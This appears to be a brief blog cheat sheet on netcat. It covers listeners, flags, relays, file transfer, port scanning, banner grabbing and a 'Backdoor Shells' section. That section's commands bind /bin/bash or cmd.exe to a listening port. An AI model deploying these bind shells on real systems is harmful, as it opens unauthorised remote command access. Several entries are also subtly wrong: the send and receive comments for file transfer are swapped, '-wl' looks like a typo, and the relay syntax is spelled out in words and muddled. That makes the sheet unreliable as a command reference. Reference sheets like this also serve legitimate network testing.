Post

Meow's Testing Tools - netcat

netcat

[toc]


Netcat Fundamentals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
nc [options] [host] [port]
# by default this will execute a port scan

nc -l [host] [port]
# initiates a listener on the given port

Netcat Command Flags
nc -4
# use IPv4 only

nc -6
# use IPv6

nc -u
# use UDP instead of TCP

nc -k -l
# continue listening after disconnection

nc -n
# skip DNS lookups

nc -v
# provide verbose output

Netcat Relays on Windows

1
2
3
4
5
nc [host] [port] > relay.bat
# open a relay connection

nc -l -p [port] -e relay.bat
# connect to relay

Netcat Relays on Linux

1
nc -l -p [port] 0 (less than) backpipe (pipe) nc [client IP] [port] (pipe) tee backpipe

Netcat File Transfer

1
2
3
4
5
nc [host] [port] (greater than) file_name.out
# send a file

nc [host] [port] (less than) file_name.in
# receive a file

Netcat Port Scanner

1
2
3
4
5
6
7
8
nc -zv site.com 80
# scan a single port

nc -zv hostname.com 80 84
# scan a set of individual ports

nc -zv site.com 80-84
# scan a range of ports

Netcat Banners

1
2
echo “” | nc -zv -wl [host] [port range]
# obtain the TCP banners for a range of ports

Netcat Backdoor Shells

1
2
3
4
5
nc -l -p [port] -e /bin/bash
# run a shell on Linux

nc -l -p [port] -e cmd.exe
# run a shell on Netcat for Windows

ref:

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.